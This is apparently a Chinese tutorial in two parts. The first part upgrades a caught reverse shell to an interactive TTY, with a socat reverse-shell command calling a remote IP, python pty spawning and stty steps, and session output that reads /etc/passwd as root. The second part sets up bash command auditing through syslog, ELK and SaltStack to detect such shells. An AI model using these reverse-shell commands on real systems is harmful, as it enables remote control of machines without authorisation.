1)Python pty模块
对于已经安装了python的系统,我们可以使用python提供的pty模块命令如下:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
测试如下:

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42425
whoami
root
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

不过还是无法使用向上使用历史命令、Ctrl+C、Tab补全。

2)使用socat
监听命令:

socat file:`tty`,raw,echo=0 tcp-listen:4444

反弹命令:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.192.144:4444

测试如下:

[root@server144 src]# socat file:`tty`,raw,echo=0 tcp-listen:4444 
[root@server120 src]# whoami
root
[root@server120 src]# sleep 5
^C
[root@server120 src]#

支持向上使用历史命令、Ctrl+C、Tab补全。

3)使用stty选项
刚才测试发现第一种方法不支持向上使用历史命令、Ctrl+C、Tab补全,可使用stty选项升级。
首先和第一种方法一样

[root@server144 src]# ./netcat -vv -l -p 2345
Listening on any address 2345 (dbm)
Connection from 192.168.192.120:42450
python -c 'import pty; pty.spawn("/bin/bash")' 
[root@server120 src]# ^Z
[1]+ Stopped ./netcat -vv -l -p 2345
[root@server144 src]# echo $TERM
xterm
[root@server144 src]# stty -a
speed 38400 baud; rows 31; columns 104; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 -hupcl -cstopb cread -clocal -crtscts -cdtrdsr
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel
-iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke

所需的信息是TERM类型(”xterm”)和当前TTY的大小(31行;104列)

[root@server144 src]# stty raw -echo

输入fg并执行(这里看不到输入,使用raw stty,可能看不到下一个命令,但是当你键入时,它们则会被执行。)

$ reset
$ export SHELL=bash
$ export TERM=xterm
$ stty rows 31 columns 104

然后就能支持向上使用历史命令、Ctrl+C、Tab补全。

参考文章:
http://www.freebuf.com/news/142195.html

0x01 概述


Bash命令收集主要是用于在没有堡垒机和跳板机情况下实现运维操作集中审计,另外就是针对一些攻击者入侵服务器后反弹Bash或者sh等做监控。这里提供两种通过Syslog收集的方式。

0x02 通过修改Bash源码发送Syslog


从bash4.1 版本开始,bash开始支持Rsyslog,下载bash-4.4,下载地址: https://ftp.gnu.org/gnu/bash/

具体步骤如下:
1)
修改bashhist.c:
修改771行

syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, line);

修改776行

syslog (SYSLOG_FACILITY|SYSLOG_LEVEL, "PID=%d UID=%d User=%s Cmd=%s", getpid(), current_user.uid, current_user.user_name, trunc);

2)
再修改config-top.h
去掉116行/**/

#define SYSLOG_HISTORY 
#if defined (SYSLOG_HISTORY)
# define SYSLOG_FACILITY LOG_LOCAL6
# define SYSLOG_LEVEL LOG_NOTICE
# define OPENLOG_OPTS LOG_PID
#endif

syslog的FACILITY为 LOCAL6,日志级别为NOTICE
3)

./configure --prefix=/usr/local/bash && make && make install 
[root@localhost ~]# cp /bin/bash /bin/bashbak 
[root@localhost ~]# \cp -f /usr/local/bash/bin/bash /bin/bash

4)
修改rsyslog配置,这里我们先输出到本地测试一下

[root@zaojiasys_31 admin]# touch /var/log/bash.log
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf

添加local6.notice /var/log/bash.log

[root@zaojiasys_31 admin]# service rsyslog restart
[root@zaojiasys_31 admin]# tail -f /var/log/bash.log 
Jul 25 16:22:15 localhost bash[18540]: PID=18540 UID=0 User=root Cmd=tail -f /var/log/bash.log 
Jul 25 16:22:21 localhost bash[19033]: PID=19033 UID=0 User=root Cmd=whoami

5)
[root@zaojiasys_31 admin]# vim /etc/rsyslog.conf
修改*.info;mail.none;authpriv.none;cron.none;local6.none; /var/log/messages
添加local6.notice @10.110.1.33:3514

使用ELK,首先配置logstash

input {
	syslog{  
		port => "3514"  
		type => "bash"
	}  
}

filter {
    grok{
        match => {
            "message" => "PID=%{NUMBER:processid} UID=%{NUMBER:uid} User=%{WORD:user} Cmd=%{GREEDYDATA:cmd}"
        }
    }
    mutate {
        remove_field => [ "message" ]
    }
}

output {
   if "_grokparsefailure" not in [tags] {
        elasticsearch {
            hosts => "10.110.1.33:9200"
            index => "bash_%{+YYYY.MM.dd}"
        }
    }
}

Elasticsearch 添加模板

curl -XPUT 10.59.0.248:9200/_template/template_bash -d '
{
   "template": "bash_*", 
   "order" : 10,
   "settings" : {
      "number_of_shards": 5,
      "number_of_replicas": 0
   },
   "mappings" : {
    "_default_" : {
      "_all" : {"enabled" : true, "omit_norms" : true},
      "properties" : {
        "host": { "type": "keyword"},
        "cmd": { "type": "keyword"},
        "user": { "type": "keyword"},
        "uid": { "type": "integer"},
        "processid": { "type": "integer"}
      }
    }
  }
}

查看Kibana

[root@server120 ~]# ll /bin/sh
lrwxrwxrwx. 1 root root 4 3月 21 2016 /bin/sh -> bash

/bin/sh是软链到/bin/bash的,/bin/sh也可以审计到。
另外禁用其他的shell:

# chmod 750 /bin/csh
# chmod 750 /bin/tcsh
# chmod 750 /bin/dash

PS:
需要注意GLIBC的版本如果不一致的话,那么启动Bash就会有问题。

[root@localhost ~]# /bin/bash
/bin/bash: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by /bin/bash)

0x03 通过Logger发送Syslog


客户端具体配置如下:

在/etc/profile中添加行:

[ -f /etc/zb_bashrc ] && . /etc/zb_bashrc

/etc/zb_bashrc的内容如下:

if [ "$BASH" ]; then

    SSH_USER=$(who -mu  |awk '{print $1}')

    if [ -z "$SSH_USER" ]; then

        SSH_USER="-"

    fi



    SSH_CLIENT_IP=$(echo $SSH_CONNECTION |awk '{print $1}')

       if [ -z "$SSH_CLIENT_IP" ]; then

              SSH_CLIENT_IP="-"

       fi



    SSH_SERVER_IP=$(echo $SSH_CONNECTION |awk '{print $3}')

       if [ -z "$SSH_SERVER_IP" ]; then

              SSH_SERVER_IP="-"

       fi



    if [ -f "$HOME/.bash_history" ]; then

        export HISTFILE="$HOME/.bash_history"

    else

        touch $HOME/.bash_history

        chmod 600 $HOME/.bash_history

        export HISTFILE="$HOME/.bash_history"

    fi

    export HISTSIZE=100

    export HISTCONTROL=""

    export HISTIGNORE=""

    export HISTCMD

    export HISTTIMEFORMAT="%Y-%m-%d %T :: "

    PROMPT_COMMAND='history -a;history 1 | xargs -0 -i logger -p local6.notice $SSH_CLIENT_IP $SSH_SERVER_IP $SSH_USER $USER{}'

    readonly PROMPT_COMMAND

    readonly HISTTIMEFORMAT

    readonly HISTSIZE

    readonly HISTFILE

    readonly HISTIGNORE

    readonly HISTCONTROL

fi

执行source /etc/profile

修改rsysLog的配置

添加local6.notice @10.211.0.107

修改*.info;mail.none;authpriv.none;cron.none;local6.none                /var/log/messages

service rsyslog restart

 

期间遇到的问题:

1、日志重复收取

如下

增加一条配置:

$RepeatedMsgReduction on

需要注意该条配置需要放到发送syslog配置条目上面才能生效。

重复的日志会提示last message repeated X times,然后在logstash加一条配置,把该条都drop掉。

if ( "last message" in [message] ) {

       drop{}

}

最后Logstash的配置文件如下:

input {

       udp { 

          port => "514" 

          workers => "10"

       } 

}

filter {

       if ("last message" in [message]) {

              drop{}

       }

    dissect {

        mapping => {

            "message" => '<%{pri}>%{} %{} %{} %{} %{}: %{client_ip} %{server_ip} %{ssh_user} %{user}  %{line}  %{timestamp} :: %{command}'

        }

    }

       date {

           match => ["timestamp", "yyyy-MM-dd HH:mm:ss"]

           target => "@timestamp"

           "locale" => "en"

           timezone => "UTC"

       }

}

output {

       redis {

              host => "127.0.0.1"

              data_type => "list"

              key => "command"

              db => "2"

       }

}

2、sh执行命令无法记录

其实/bin/sh是软链到的/bin/bash,但是不会加载配置文件。

 

0x04 SaltStack批量部署


推荐第一种,模板如下:

install_bash:

  cmd.run:

    - name: tar zxvf bash.tar.gz && cd bash && ./configure --prefix=/usr/local/bash && make && make install

    - cwd: /root/Downloads

    - unless: test -e /usr/local/bash/bin/bash

    - require:

      - file: /root/Downloads/bash.tar.gz



/root/Downloads/bash.tar.gz:

  file.managed:

    - source: salt://audit/bash.tar.gz

    - user: root

    - group: root

    - mode: 755

    - template: jinja

    - require:

      - file: /root/Downloads



bak_bash:

  cmd.run:

    - name: cp /bin/bash /bin/bashbak

    - unless: test -e /bin/bashbak

    - require:

      - cmd: install_bash



cp_bash:

  cmd.run:

    - name: \cp -f /usr/local/bash/bin/bash /bin/bash

    - require:

      - cmd: bak_bash



/etc/rsyslog.conf:

  file.append:

    - text: "local6.notice                                               @10.59.0.58:3514"

    - unless: grep '10.59.0.58' /etc/rsyslog.conf



rsyslog:

  service.running:

    - enable: True

    - restart: True

    - watch:

      - file: /etc/rsyslog.conf

参考文章:

http://os.51cto.com/art/201102/244661.htm
http://www.freebuf.com/articles/system/140543.html
http://www.freebuf.com/articles/system/135845.html